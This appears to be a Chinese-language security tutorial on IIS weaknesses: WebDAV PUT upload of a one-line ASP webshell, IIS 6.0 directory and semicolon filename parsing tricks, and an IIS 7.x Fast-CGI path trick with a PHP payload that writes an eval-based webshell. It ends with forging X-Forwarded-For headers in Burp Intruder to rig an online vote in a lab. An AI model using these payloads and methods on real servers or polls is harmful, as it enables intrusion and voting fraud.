IIS寫權限漏洞和XFF刷票原理
PUT寫入漏洞
此漏洞主要是因為服務器開啟了webdav的組件導致的
1.掃描漏洞,yes,可以PUT:
2.用老兵的工具上傳一句話文件test.txt,然後move改名為shell.asp
然後菜刀連接成功:
解析漏洞
影響版本:6.0、7.0、7.5
IIS 6.0解析利用方法有兩種
1.目錄解析
/xx.asp/xx.jpg
在網站下建立文件夾的名字為 .asp或.asa 的文件夾
其目錄內的任何擴展名的文件都被IIS當作asp文件來解析並執行
2.文件解析
修改一句話文件名為test.asp;.jpg
在IIS6.0下,分號後面的不被解析,也就是說test.asp;.jpg會被服務器看成是mst.asp
還有IIS6.0 默認的可執行文件,除了asp還包含這三種:/mst.asa/mst.cer/mst.cdx
IIS 7.0/7.5畸形解析漏洞
在默認Fast-CGI開啟狀況下,黑闊上傳一個名字為mst.jpg文件
內容為:
<?php
fputs(fopen(‘shell.php’,’w’),‘<?php eval($_POST[wintry])?>’);
?>
然後訪問mst.jpg/.php,在這個目錄下就會生成一句話木馬 shell.php
用到兩個工具(完全可以用Burp替代):
1、IIS PUT Scaner By ZwelL 2、桂林老兵IIS寫權限利用程序
https://pan.baidu.com/s/1PU70q4unoHt0S01oyuFnKw
第二個寫入工具百度雲不能分享,自行用Burp代替吧
X-Forwarded-For 刷票原理
刷票的原理是通過X-Forwarded-For(XFF)實現的。
X-Forwarded-For 是一個 HTTP 擴展頭部,主要是為了讓 Web 服務器獲取訪問用戶的真實 IP 地址。
一些開發者為了獲取客戶IP,我們經常會使用request.remote_ip來獲得用戶IP。
但是很多用戶都是通過代理來訪問服務器的,如果使用remote_ip這個全局變量來獲取IP
開發者往往獲得的是代理服務器的IP,並不是用戶真正的IP。
客戶端=>正向代理=>透明代理=>服務器反向代理=>Web服務器
下面通過一個例子來實踐
實踐偽造 XFF
環境鏈接:點擊傳送
打開實驗環境,是個投票系統,a2019現在是88票第4名,偽造XFF刷到第一名
點擊給a2019投票,Burp抓包添加X-Forwarded-For字段,Intruder功能爆破重放
X-Forwarded-For:10.1.§0§.§1§
因為是微信投票,修改User-Agent為:
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 MicroMessenger/6.0NetType/2G
IIS寫權限漏洞和XFF刷票原理